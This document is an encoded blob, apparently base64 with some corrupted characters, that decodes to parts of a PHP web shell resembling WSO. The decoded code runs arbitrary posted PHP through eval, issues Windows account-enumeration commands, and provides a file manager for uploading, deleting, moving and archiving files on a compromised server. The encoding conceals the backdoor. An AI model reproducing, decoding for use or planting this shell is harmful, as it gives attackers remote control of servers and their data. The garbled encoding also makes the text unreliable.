UWydwM4ddKTsKICAgICAgICAgICAgICAgICAgICAgICAg1WYgKCR61WQpC4AgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGVtcCA3PSBqbal3KCceJywkdWlkKSu4XGu4Ow2gICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBlYahvICc8YnIvP4c7C4AgICAgICAgICAgICAgICAgICAgdoNvUaVjUGFyYW02J6VzZXJzJywgJHRlbXApOw2gICAgICAgICAgICAgICAgfQ2gICAgICAgICAgICB9C4AgICB9IGVscaUg5w2gICAgICAgIHdzb6NlY6BhcmFtKCdPUyBWZXJz1W93Jyxoca9F5CgndmVyJykpOw2gICAgICAgIHdzb6NlY6BhcmFtKCdBYaNvdWi0IFNldHRpbmdzJyxoca9F5CgnbmV0IGFjYa96bnRzJykpOw2gICAgICAgIHdzb6NlY6BhcmFtKCdVcaVyIEFjYa96bnRzJyxoca9F5CgnbmV0IHVzZXInKSk7C4AgICB9C4AgICBlYahvICc8LaRpdjunOw2gICAgdoNvRm9vdGVyKCk7Cn0KIApmdWijdGlvb4BhYoRpbaiQ1HA2KSB7C4AgICBpZ4hpcoNldCgkX6BPU6RbJaFqYXgnXSkpIHsKICAgICAgICBXU09zZXRjba9r1WU2bWQ6KCRfU0VSVkVSWydIVFRQX0hPU6QnXSkgL4AnYWph5CcsIHRydWUpOw2gICAgICAgIG94XoN0YXJ0KCk7C4AgICAgICAgZXZhbCgkX6BPU6RbJoAxJ60pOw2gICAgICAgICR0ZW6wID0gImRvYoVtZWi0LmdldEVsZW6lbnRC5UlkKCdQ1HBPdXRwdXQnKSizdHlsZSik1XNwbGFiPScnOaRvYoVtZWi0LmdldEVsZW6lbnRC5UlkKCdQ1HBPdXRwdXQnKSipbmilckhUTUw9JyIgL4BhZGRjcaxhcahlcyh2dG6scoBlYalhbGN2YXJzKG94XadldF9jbGVhb4gpKSwgIlx3XHJcdFxcJ6wwI4kgL4A4Jztcb4I7C4AgICAgICAgZWN2byBzdHJsZWu2JHRlbXApLCA4XGu4LCAkdGVtcDsKICAgICAgICBl5Gl0Ow2gICAgfQ2gICAg1WY2ZW6wdHk2JF9QT6NUWydh1mFuJ60pICYmICFlbXB05SgkX6BPU6RbJoAxJ60pKQ2gICAgICAgIFdTToNldGNvbatpZShtZDU2JF9TRVJWRVJbJ0hUVFBfSE9TVCddKSA3ICdh1mFuJywgMCk7C4AKICAgIHdzb0hlYWRlc4gpOw2gICAg1WY21XNzZXQ2JF9QT6NUWydwM4ddKSAmJ4A2JF9QT6NUWydwM4ddID09ICdpbmZvJykpIHsKICAgICAgICBlYahvICc81DE+UEhQIGl3Zm88LagxPjxk1XYgYaxhcoM9Ya93dGV3dDu8coRibGU+LnAg5aNvbG9yO4MwMDA7fTwvcoRibGU+JzsKICAgICAgICBvYl9zdGFydCgpOw2gICAgICAgIHB2cGl3Zm82KTsKICAgICAgICAkdG6wID0gbaJfZaV0XaNsZWF3KCk7C4AgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZShhcnJh5SA2C4AgICAgICAgICAgICchKGJvZHl8YTpcdyt8Ym9k5SwgdGQsIHR2LCB2MSwg1DIpIHs3Kn0hbXNpVScsC4AgICAgICAgICAgICchdGQsIHR2IHs2L42pfSFtcalVJywKICAgICAgICAgICAgJyE81W6nW6u+XSs+IW6z1VUnLA2gICAgICAgICksIGFycmFiICgKICAgICAgICAgICAgJycsC4AgICAgICAgICAgICc3ZSwgLnYsICi2LCA31CB01CB7JDF9JywKICAgICAgICAgICAgJycKICAgICAgICApLCAkdG6wKTsKICAgICAgICBlYahvIHN0cl9yZXBsYWNlKCc81DEnLCc81DInLCAkdG6wKSA3JzwvZGlaPjx4cjunOw2gICAgfQ2gICAgZWN2byAnPGgxPkVuZWN6dGlvb4BQSFAtYa9kZTwv1DE+PGRpd4BjbGFzcz6jbai0ZWi0PjxmboJtIGihbWU9cGYgbWV01G9kPXBvcoQgbaizdWJt1XQ9ImlmKHR21XM3YWph5Cij1GVj1aVkKXthKFwnUGhwXCcsbnVsbCx01GlzLmNvZGU3dmFsdWUpOo6lbHNl5ac2XCdQ1HBcJyx3dWxsLHR21XM3Ya9kZSiaYWx6ZSxcJ6wnKTt9cmV0dXJ3IGZhbHNlOyI+PHRl5HRhcmVhIGihbWU9Ya9kZSBjbGFzcz641WdhcmVhIGlkPVB2cENvZGU+Jyu2IWVtcHRiKCRfUE9TVFsncDEnXSk/1HRtbHNwZWNpYWxj1GFycygkX6BPU6RbJoAxJ60pO4cnKSunPC90ZXh0YXJlYTu81WiwdXQgdHlwZT6zdWJt1XQgdmFsdWU9RXZhbCBzdHlsZT04bWFyZal3LXRvcD26cHg4P4c7C4AgICBlYahvICcgPGl3cHV0IHRicGU9YahlYat4boggbmFtZT6h1mFuIHZhbHVlPTEgJyu2JF9DT09LSUVbbWQ6KCRfU0VSVkVSWydIVFRQX0hPU6QnXSk3JaFqYXgnXT8nYahlYatlZCceJycpL4c+IHNlbmQgdXNpbmcgQUpBWDwvZm9ybTu8cHJlIGlkPVB2cE96dHB6dCBzdHlsZT04Jyu2ZW6wdHk2JF9QT6NUWydwMSddKT8nZGlzcGxh5Tp3bailOyceJycpL4dtYXJn1WutdG9wOjVw5Ds4IGNsYXNzPW6sMTunOw2gICAg1WY2IWVtcHRiKCRfUE9TVFsncDEnXSkpIHsKICAgICAgICBvYl9zdGFydCgpOw2gICAgICAgIGVaYWw2JF9QT6NUWydwMSddKTsKICAgICAgICBlYahvIGh0bWxzcGVj1WFsYahhcnM2baJfZaV0XaNsZWF3KCkpOw2gICAgfQ2gICAgZWN2byAnPC9wcmU+PC9k1XY+JzsKICAgIHdzb0ZvboRlc4gpOwp9C4AKZnV3YoRpbaugYWN01W93RmlsZXNNYWu2KSB7C4AgICBpZ4A2IWVtcHRiICgkX0NPT0tJRVsnZ4ddKSkKICAgICAgICAkX0NPT0tJRVsnZ4ddID0gQHV3caVy1WFs1XplKCRfQ09PS0lFWydmJ60pOw2gICAgIA2gICAg1WY2IWVtcHRiKCRfUE9TVFsncDEnXSkpIHsKICAgICAgICBzdal0Yag2JF9QT6NUWydwMSddKSB7C4AgICAgICAgICAgIGNhcaUgJoVwbG9hZEZpbGUnOg2gICAgICAgICAgICAgICAg1WY2IUBtboZlXoVwbG9hZGVkXaZpbGU2JF9GSUxFU6snZ4ddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmJ66bJaihbWUnXSkpC4AgICAgICAgICAgICAgICAgICAgZWN2byA4QaF3JoQgdXBsbaFkISI7C4AgICAgICAgICAgICAgICB4cmVh1zsKICAgICAgICAgICAgYaFzZSAnbWtk1XInOg2gICAgICAgICAgICAgICAg1WY2IUBt1aRpc4gkX6BPU6RbJoAyJ60pKQ2gICAgICAgICAgICAgICAgICAgIGVj1G8gIkNhb4d0IGNyZWF0ZSE4Ow2gICAgICAgICAgICAgICAgYnJlYWs7C4AgICAgICAgICAgIGNhcaUgJaRlbGV0ZSceC4AgICAgICAgICAgICAgICBmdWijdGlvb4BkZWxldGVE1XI2JHBhdGgpIHsKICAgICAgICAgICAgICAgICAgICAkcGF01CA9IChzdWJzdHI2JHBhdGgsLTEpPT0nLycpID8gJHBhdGgeJHBhdGg3Jy8nOw2gICAgICAgICAgICAgICAgICAgICRk1CAgPSBvcGV3ZGlyKCRwYXR2KTsKICAgICAgICAgICAgICAgICAgICBo1GlsZSA2ICgk1XRlbSA9IHJlYWRk1XI2JGR2KSApICE9PSBmYWxzZSkg5w2gICAgICAgICAgICAgICAgICAgICAgICAk1XRlbSA9ICRwYXR2L4RpdGVtOw2gICAgICAgICAgICAgICAgICAgICAgICBpZ4A2ICh4YXNlbmFtZSgk1XRlbSkgPT0gI4u3I4kgfHwgKGJhcaV3YW6lKCRpdGVtKSA9PSA4L4IpICkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw2gICAgICAgICAgICAgICAgICAgICAgICAkdHlwZSA9IGZpbGV05XBlKCRpdGVtKTsKICAgICAgICAgICAgICAgICAgICAgICAg1WYgKCR05XBlID09ICJk1XI4KQ2gICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVsZXRlRGlyKCRpdGVtKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ2gICAgICAgICAgICAgICAgICAgICAgICAgICAgQHV3bGl31ygk1XRlbSk7C4AgICAgICAgICAgICAgICAgICAgfQ2gICAgICAgICAgICAgICAgICAgIGNsboNlZGlyKCRk1Ck7C4AgICAgICAgICAgICAgICAgICAgQHJtZGlyKCRwYXR2KTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmKGlzXaFycmFiKEAkX6BPU6RbJaYnXSkpC4AgICAgICAgICAgICAgICAgICAgZm9yZWFj1CgkX6BPU6RbJaYnXSBhcyAkZ4kg5w2gICAgICAgICAgICAgICAgICAgICAgICBpZ4gkZ4A9PSAnL4unKQ2gICAgICAgICAgICAgICAgICAgICAgICAgICAgYa93dGl3dWU7C4AgICAgICAgICAgICAgICAgICAgICAgICRmID0gdXJsZGVjbaRlKCRmKTsKICAgICAgICAgICAgICAgICAgICAgICAg1WY21XNfZGlyKCRmKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRlbGV0ZURpc4gkZ4k7C4AgICAgICAgICAgICAgICAgICAgICAgIGVscaUKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEB6bmxpbms2JGYpOw2gICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGJyZWFrOw2gICAgICAgICAgICBjYXNlICdwYXN0ZSceC4AgICAgICAgICAgICAgICBpZ4gkX0NPT0tJRVsnYWN0J60gPT0gJaNvcHknKSB7C4AgICAgICAgICAgICAgICAgICAgZnV3YoRpbaugYa9w5V9wYXN0ZSgkYywkcywkZCl7C4AgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzXaRpc4gkYyukcykp5w2gICAgICAgICAgICAgICAgICAgICAgICAgICAgbWtk1XI2JGQ3JHMpOw2gICAgICAgICAgICAgICAgICAgICAgICAgICAgJGggPSBAboBlbmRpc4gkYyukcyk7C4AgICAgICAgICAgICAgICAgICAgICAgICAgICBo1GlsZSA2KCRmID0gQHJlYWRk1XI2JGgpKSAhPT0gZmFscaUpC4AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg1WYgKCgkZ4AhPSA4L4IpIGF3ZCA2JGYgIT0gI4u3I4kpC4AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvcHlfcGFzdGU2JGM3JHM3Jy8nLCRmLCAkZCukcyunLycpOw2gICAgICAgICAgICAgICAgICAgICAgICB9IGVscaVpZ4hpc69m1WxlKCRjL4RzKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjboBiKCRjL4RzLCAkZCukcyk7C4AgICAgICAgICAgICAgICAgICAgfQ2gICAgICAgICAgICAgICAgICAgIGZvcmVhYag2JF9DT09LSUVbJaYnXSBhcyAkZ4kKICAgICAgICAgICAgICAgICAgICAgICAgYa9w5V9wYXN0ZSgkX0NPT0tJRVsnYyddLCRmLCAkR0xPQkFMU6snYodkJ60pOw2gICAgICAgICAgICAgICAgfSBlbHNl1WY2JF9DT09LSUVbJaFjdCddID09ICdtboZlJykg5w2gICAgICAgICAgICAgICAgICAgIGZ6bmN01W93IG6vdmVfcGFzdGU2JGMsJHMsJGQp5w2gICAgICAgICAgICAgICAgICAgICAgICBpZ4hpc69k1XI2JGM3JHMpKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG6rZGlyKCRkL4RzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2ID0gQG9wZWik1XI2JGM3JHMpOw2gICAgICAgICAgICAgICAgICAgICAgICAgICAgdahpbGUgKCgkZ4A9IEByZWFkZGlyKCR2KSkgIT09IGZhbHNlKQ2gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICg2JGYgIT0gI4u4KSBhbmQgKCRmICE9ICI3L4IpKQ2gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjboBiXoBhcoRlKCRjL4RzL4cvJywkZ4wgJGQ3JHM3Jy8nKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNl1WY2QGlzXaZpbGU2JGM3JHMpKQ2gICAgICAgICAgICAgICAgICAgICAgICAgICAgQGNvcHk2JGM3JHMsICRkL4RzKTsKICAgICAgICAgICAgICAgICAgICB9C4AgICAgICAgICAgICAgICAgICAgZm9yZWFj1CgkX0NPT0tJRVsnZ4ddIGFzICRmKQ2gICAgICAgICAgICAgICAgICAgICAgICBAcmV3YW6lKCRfQ09PS0lFWydjJ603JGYsICRHTE9CQUxTWydjdaQnXSukZ4k7C4AgICAgICAgICAgICAgICB9IGVscaVpZ4gkX0NPT0tJRVsnYWN0J60gPT0gJoppcCcpIHsKICAgICAgICAgICAgICAgICAgICBpZ4hjbGFzc69l5GlzdHM2J6ppcEFyYahpdmUnKSkg5w2gICAgICAgICAgICAgICAgICAgICAgICAk5mlwID0gbmVoIFppcEFyYahpdmU2KTsKICAgICAgICAgICAgICAgICAgICAgICAg1WYgKCRe1XAtPm9wZWu2JF9QT6NUWydwM4ddLCAxKSkg5w2gICAgICAgICAgICAgICAgICAgICAgICAgICAgYahk1XI2JF9DT09LSUVbJaMnXSk7C4AgICAgICAgICAgICAgICAgICAgICAgICAgICBmboJlYWN2KCRfQ09PS0lFWydmJ60gYXMgJGYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZ4gkZ4A9PSAnL4unKQ2gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbai01Wi6ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZ4hA1XNfZmlsZSgkX0NPT0tJRVsnYyddL4RmKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+YWRkRmlsZSgkX0NPT0tJRVsnYyddL4RmLCAkZ4k7C4AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKEBpc69k1XI2JF9DT09LSUVbJaMnXSukZ4kpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZXJhdG9yID0gbmVoIFJlYoVycalaZUl0ZXJhdG9ySXRlcmF0boI2bmVoIFJlYoVycalaZURpcmVjdG9y5Ul0ZXJhdG9yKCRmL4cvJywgRmlsZXNicoRlbUl0ZXJhdG9yOjpTS0lQX0RPVFMpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFj1CA2JGl0ZXJhdG9yIGFzICRrZXk9P4RaYWx6ZSkg5w2gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+YWRkRmlsZShyZWFscGF01Cgk1aViKSwgJGtl5Sk7C4AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9C4AgICAgICAgICAgICAgICAgICAgICAgICAgICB9C4AgICAgICAgICAgICAgICAgICAgICAgICAgICBj1GRpc4gkR0xPQkFMU6snYodkJ60pOw2gICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+YaxvcaU2KTsKICAgICAgICAgICAgICAgICAgICAgICAgfQ2gICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRfQ09PS0lFWydhYoQnXSA9PSAndWie1XAnKSB7C4AgICAgICAgICAgICAgICAgICAg1WY2YaxhcoNfZXhpcoRzKCd11XBBcmN21XZlJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHppcCA9IGildyB11XBBcmN21XZlKCk7C4AgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhYag2JF9DT09LSUVbJaYnXSBhcyAkZ4kg5w2gICAgICAgICAgICAgICAgICAgICAgICAgICAg1WY2JHppcC0+boBlb4gkX0NPT0tJRVsnYyddL4RmKSkg5w2gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRe1XAtPmVudHJhYoRUbygkR0xPQkFMU6snYodkJ60pOw2gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRe1XAtPmNsboNlKCk7C4AgICAgICAgICAgICAgICAgICAgICAgICAgICB9C4AgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9C4AgICAgICAgICAgICAgICB9IGVscaVpZ4gkX0NPT0tJRVsnYWN0J60gPT0gJoRhc4cpIHsKICAgICAgICAgICAgICAgICAgICBj1GRpc4gkX0NPT0tJRVsnYyddKTsKICAgICAgICAgICAgICAgICAgICAkX0NPT0tJRVsnZ4ddID0gYXJyYXlfbWFwKCdlcaNhcGVz1GVsbGFyZycsICRfQ09PS0lFWydmJ60pOw2gICAgICAgICAgICAgICAgICAgIHdzb0VuKCd0YXIgYaZed4AnICugZXNjYXBlcahlbGxhcmc2JF9QT6NUWydwM4ddKSA3ICcgJyA3IGltcGxvZGU2JyAnLCAkX0NPT0tJRVsnZ4ddKSk7C4AgICAgICAgICAgICAgICAgICAgYahk1XI2JEdMT0JBTFNbJaNoZCddKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHV3caV0KCRfQ09PS0lFWydmJ60pOw2gICAgICAgICAgICAgICAgcaV0Ya9v1allKCdmJywgJycsIHRpbWU2KSAtIDMaMDApOw2gICAgICAgICAgICAgICAgYnJlYWs7C4AgICAgICAgICAgIGRlZmF6bHQeC4AgICAgICAgICAgICAgICBpZ4ghZW6wdHk2JF9QT6NUWydwMSddKSkg5w2gICAgICAgICAgICAgICAgICAgIFdTToNldGNvbatpZSgnYWN0JywgJF9QT6NUWydwMSddKTsKICAgICAgICAgICAgICAgICAgICBXU09zZXRjba9r1WU2JaYnLCBzZXJpYWxp5mU2QCRfUE9TVFsnZ4ddKSk7C4AgICAgICAgICAgICAgICAgICAgV6NPcaV0Ya9v1allKCdjJywgQCRfUE9TVFsnYyddKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGJyZWFrOw2gICAgICAgIH0KICAgIH0KICAgIHdzb0hlYWRlc4gpOw2gICAgZWN2byAnPGgxPkZpbGUgbWF3YWdlcjwv1DE+PGRpd4BjbGFzcz6jbai0ZWi0PjxzYoJpcHQ+cDFfPXAyXz6wM689I4I7PC9zYoJpcHQ+JzsKICAgICRk1XJDbai0ZWi0ID0gdoNvUaNhbmRpc4hpcoNldCgkX6BPU6RbJaMnXSk/JF9QT6NUWydjJ60eJEdMT0JBTFNbJaNoZCddKTsKICAgIGlmKCRk1XJDbai0ZWi0ID09PSBmYWxzZSkg5yBlYahvICdDYWicJoQgboBlb4B01GlzIGZvbGRlc4EnOodzb0ZvboRlc4gpOyByZXR6cmu7IH0KICAgIGdsbaJhbCAkca9ydDsKICAgICRzboJ0ID0gYXJyYXk2JaihbWUnLCAxKTsKICAgIGlmKCFlbXB05SgkX6BPU6RbJoAxJ60pKSB7C4AgICAgICAg1WY2cHJlZ69tYXRj1CgnIXNfKFtBLXpdKylfKFxk5zF9KSEnLCAkX6BPU6RbJoAxJ60sICRtYXRj1CkpC4AgICAgICAgICAgICRzboJ0ID0gYXJyYXk2JG6hdGN2WzFdLCA21Wi0KSRtYXRj1FsyXSk7C4AgICB9CmVj1G8gIjxzYoJpcHQ+C4AgICBmdWijdGlvb4BzYSgpIHsKICAgICAgICBmboI21T0wOak8ZCim1WxlcyilbGVtZWi0cyisZWindGg71SsrKQ2gICAgICAgICAgICBpZ4hkLmZpbGVzLmVsZW6lbnRzWaldLnRicGUgPT0gJaN2ZWNrYm9uJykKICAgICAgICAgICAgICAgIGQ3ZmlsZXM3ZWxlbWV3dHNb1V03YahlYatlZCA9IGQ3ZmlsZXM3ZWxlbWV3dHNbMF03YahlYatlZDsKICAgIH0KPC9zYoJpcHQ+Cjx0YWJsZSBo1WR01D0nMTAwJScgYaxhcoM9Ja6h1WunIGNlbGxzcGFj1WinPScwJyBjZWxscGFkZGl3Zz0nM4c+CjxmboJtIGihbWU9ZmlsZXMgbWV01G9kPXBvcoQ+PHRyPjx01CBo1WR01D0nMTNw5Cc+PGl3cHV0IHRicGU9YahlYat4boggbaijbGlj1z0ncaE2KScgYaxhcoM9YahrYng+PC901Du8dGg+PGEg1HJlZj0nIycgbaijbGlj1z0nZyhcIkZpbGVzTWF3XCIsbnVsbCxcInNfbmFtZV84L4gkca9ydFsxXT8wOjEpL4JcI4knPkihbWU8LaE+PC901Du8dGg+PGEg1HJlZj0nIycgbaijbGlj1z0nZyhcIkZpbGVzTWF3XCIsbnVsbCxcInNfcaleZV84L4gkca9ydFsxXT8wOjEpL4JcI4knPlNp5mU8LaE+PC901Du8dGg+PGEg1HJlZj0nIycgbaijbGlj1z0nZyhcIkZpbGVzTWF3XCIsbnVsbCxcInNfbW9k1WZiXyI3KCRzboJ0WzFdPzAeMSk3Ilw4KSc+TW9k1WZiPC9hPjwvdGg+PHR2Pk9obmVyL0dyboVwPC901Du8dGg+PGEg1HJlZj0nIycgbaijbGlj1z0nZyhcIkZpbGVzTWF3XCIsbnVsbCxcInNfcGVybXNfI4u2JHNvcnRbMV0/MD2xKSu4XCIpJziQZXJt1XNz1W93czwvYTu8LoR2Pjx01DiBYoRpbaizPC901Du8LoRyP4I7C4AgICAkZGlycyA9ICRm1WxlcyA9IGFycmFiKCk7C4AgICAkb4A9IGNvdWi0KCRk1XJDbai0ZWi0KTsKICAgIGZvc4gk1T0wOyRpPCR3OyRpKyspIHsKICAgICAgICAkbocgPSBAcG9z1XhfZaV0cHd61WQ2QGZpbGVvdailc4gkZGlyQa93dGV3dFsk1V0pKTsKICAgICAgICAkZoIgPSBAcG9z1XhfZaV0ZoJn1WQ2QGZpbGVncm96cCgkZGlyQa93dGV3dFsk1V0pKTsKICAgICAgICAkdG6wID0gYXJyYXk2JaihbWUnID0+ICRk1XJDbai0ZWi0WyRpXSwKICAgICAgICAgICAgICAgICAgICAgJoBhdGgnID0+ICRHTE9CQUxTWydjdaQnXSukZGlyQa93dGV3dFsk1V0sC4AgICAgICAgICAgICAgICAgICAgICdtbaRpZnknID0+IGRhdGU2J6ktbS6kIEge1TpzJywgQGZpbGVtdGltZSgkR0xPQkFMU6snYodkJ60gL4AkZGlyQa93dGV3dFsk1V0pKSwKICAgICAgICAgICAgICAgICAgICAgJoBlcm6zJyA9P4Boca9QZXJtc0NvbG9yKCRHTE9CQUxTWydjdaQnXSA3ICRk1XJDbai0ZWi0WyRpXSksC4AgICAgICAgICAgICAgICAgICAgICdz1XplJyA9P4BAZmlsZXNp5mU2JEdMT0JBTFNbJaNoZCddL4Rk1XJDbai0ZWi0WyRpXSksC4AgICAgICAgICAgICAgICAgICAgICdvdailc4cgPTugJG9oWyd3YW6lJ60/JG9oWyd3YW6lJ60eQGZpbGVvdailc4gkZGlyQa93dGV3dFsk1V0pLA2gICAgICAgICAgICAgICAgICAgICAnZoJvdXAnID0+ICRnclsnbmFtZSddPyRnclsnbmFtZSddOkBm1WxlZoJvdXA2JGRpckNvbnRlbnRbJGldKQ2gICAgICAgICAgICAgICAgICAgICk7C4AgICAgICAg1WY2QGlzXaZpbGU2JEdMT0JBTFNbJaNoZCddICugJGRpckNvbnRlbnRbJGldKSkKICAgICAgICAgICAgJGZpbGVzW60gPSBhcnJh5V9tZXJnZSgkdG6wLCBhcnJh5SgndHlwZScgPTugJaZpbGUnKSk7C4AgICAgICAgZWxzZWlmKEBpc69s1WirKCRHTE9CQUxTWydjdaQnXSA3ICRk1XJDbai0ZWi0WyRpXSkpC4AgICAgICAgICAgICRk1XJzW60gPSBhcnJh5V9tZXJnZSgkdG6wLCBhcnJh5SgndHlwZScgPTugJaxpbmsnLCAnbGl31ycgPTugcmVhZGxpbms2JHRtcFsncGF01CddKSkpOw2gICAgICAgIGVscaVpZ4hA1XNfZGlyKCRHTE9CQUxTWydjdaQnXSA3ICRk1XJDbai0ZWi0WyRpXSkpC4AgICAgICAgICAgICRk1XJzW60gPSBhcnJh5V9tZXJnZSgkdG6wLCBhcnJh5SgndHlwZScgPTugJaRpc4cpKTsKICAgIH0KICAgICRHTE9CQUxTWydzboJ0J60gPSAkca9ydDsKICAgIGZ6bmN01W93IHdzb0NtcCgkYSwgJGIpIHsKICAgICAgICBpZ4gkR0xPQkFMU6snca9ydCddWzBdICE9ICdz1XplJykKICAgICAgICAgICAgcmV0dXJ3IHN0cmNtcChzdHJ0baxvdaVyKCRhWyRHTE9CQUxTWydzboJ0J66bMF6dKSwgcoRydG9sbodlc4gkYlskR0xPQkFMU6snca9ydCddWzBdXSkpK4gkR0xPQkFMU6snca9ydCddWzFdPzEeLTEpOw2gICAgICAgIGVscaUKICAgICAgICAgICAgcmV0dXJ3ICg2JGFbJoNp5mUnXSA8ICR4Wydz1XplJ60pID8gLTEgO4AxKS22JEdMT0JBTFNbJoNvcnQnXVsxXT8xO40xKTsKICAgIH0KICAgIHVzboJ0KCRm1WxlcywgIndzb0NtcCIpOw2gICAgdXNvcnQ2JGRpcnMsICJoca9DbXA4KTsKICAgICRm1WxlcyA9IGFycmFiXa6lcmdlKCRk1XJzLCAkZmlsZXMpOw2gICAgJGwgPSAwOw2gICAgZm9yZWFj1CgkZmlsZXMgYXMgJGYpIHsKICAgICAgICBlYahvICc8dHInL4gkbD8nIGNsYXNzPWwxJz2nJyk3Jzu8dGQ+PGl3cHV0IHRicGU9YahlYat4boggbmFtZT04ZltdI4BaYWx6ZT04Jyi6cmxlbmNvZGU2JGZbJaihbWUnXSk3JyIgYaxhcoM9YahrYng+PC90ZDu8dGQ+PGEg1HJlZj0jIG93YaxpYas9I4c3KCgkZlsndHlwZSddPT0nZmlsZScpPydnKFwnRmlsZXNUba9sc6wnLGi6bGwsXCcnLnVybGV3Ya9kZSgkZlsnbmFtZSddKSunXCcsIFwndmlld6wnKSI+Jyi2dG6scoBlYalhbGN2YXJzKCRmWyd3YW6lJ60pO4dnKFwnRmlsZXNNYWicJyxcJyc3JGZbJoBhdGgnXSunXCcpOyIgJyA3IChlbXB05SA2JGZbJaxpbmsnXSkgPyAnJyAeICJ01XRsZT0n5yRmWyds1WirJ669JyIpICugJzu8YjibICcgL4B2dG6scoBlYalhbGN2YXJzKCRmWyd3YW6lJ60pICugJyBdPC94P4cpL4c8LaE+PC90ZDu8dGQ+Jyu2KCRmWyd05XBlJ609PSdm1WxlJyk/doNvVmlld6Np5mU2JGZbJoNp5mUnXSkeJGZbJoRicGUnXSk3JzwvdGQ+PHRkP4c3JGZbJa6vZGlm5SddL4c8LoRkPjx0ZDunL4RmWydvdailc4ddL4cvJyukZlsnZoJvdXAnXSunPC90ZDu8dGQ+PGEg1HJlZj0jIG93YaxpYas9Imc2XCdG1Wxlc6RvbaxzXCcsbnVsbCxcJyc3dXJsZWijbaRlKCRmWyd3YW6lJ60pL4dcJyxcJaN2bW9kXCcpIjunL4RmWydwZXJtcyddC4AgICAgICAgICAgICunPC90ZDu8dGQ+PGEg1HJlZj04IyIgbaijbGlj1z04ZyhcJ0ZpbGVzVG9vbHNcJyx3dWxsLFwnJyi6cmxlbmNvZGU2JGZbJaihbWUnXSk3J6wnLCBcJoJlbmFtZVwnKSI+UjwvYTugPGEg1HJlZj04IyIgbaijbGlj1z04ZyhcJ0ZpbGVzVG9vbHNcJyx3dWxsLFwnJyi6cmxlbmNvZGU2JGZbJaihbWUnXSk3J6wnLCBcJoRvdWN2XCcpIjiUPC9hP4c3KCgkZlsndHlwZSddPT0nZmlsZScpPycgPGEg1HJlZj04IyIgbaijbGlj1z04ZyhcJ0ZpbGVzVG9vbHNcJyx3dWxsLFwnJyi6cmxlbmNvZGU2JGZbJaihbWUnXSk3J6wnLCBcJaVk1XRcJyk4PkU8LaE+IDxhIGhyZWY9I4M4IG93YaxpYas9Imc2XCdG1Wxlc6RvbaxzXCcsbnVsbCxcJyc3dXJsZWijbaRlKCRmWyd3YW6lJ60pL4dcJywgXCdkbod3bG9hZFwnKSI+RDwvYTunO4cnKSunPC90ZDu8LoRyP4c7C4AgICAgICAgJGwgPSAkbD8wOjE7C4AgICB9C4AgICBlYahvICI8dHI+PHRkIGNvbHNwYWu9NzuKICAgIDxpbnB6dCB05XBlPWhpZGRlb4B3YW6lPWEgdmFsdWU9J0ZpbGVzTWF3JzuKICAgIDxpbnB6dCB05XBlPWhpZGRlb4B3YW6lPWMgdmFsdWU9JyIgL4B2dG6scoBlYalhbGN2YXJzKCRHTE9CQUxTWydjdaQnXSkgL4InPg2gICAgPGl3cHV0IHRicGU91GlkZGV3IGihbWU9YahhcnNldCBaYWx6ZT0nI4ugKGlzcaV0KCRfUE9TVFsnYahhcnNldCddKT8kX6BPU6RbJaN2YXJzZXQnXT2nJyk3I4c+C4AgICA8caVsZWN0IGihbWU9JoAxJzu8boB01W93IHZhbHVlPSdjboBiJziDboBiPC9vcHRpbau+PG9wdGlvb4BaYWx6ZT0nbW9aZSc+TW9aZTwvboB01W93PjxvcHRpbaugdmFsdWU9JaRlbGV0ZSc+RGVsZXRlPC9vcHRpbau+IjsKICAgIGlmKGNsYXNzXaVu1XN0cygnWmlwQXJj1GlaZScpKQ2gICAgICAgIGVj1G8gIjxvcHRpbaugdmFsdWU9JoppcCc+Qa9tcHJlcoMgKHppcCk8La9wdGlvbju8boB01W93IHZhbHVlPSd6bnppcCc+VWijba6wcmVzcyA25mlwKTwvboB01W93P4I7C4AgICBlYahvICI8boB01W93IHZhbHVlPSd0YXInPkNvbXByZXNzICh0YXI3Zo2pPC9vcHRpbau+IjsKICAgIGlmKCFlbXB05SgkX0NPT0tJRVsnYWN0J60pICYmIEBjboV3dCgkX0NPT0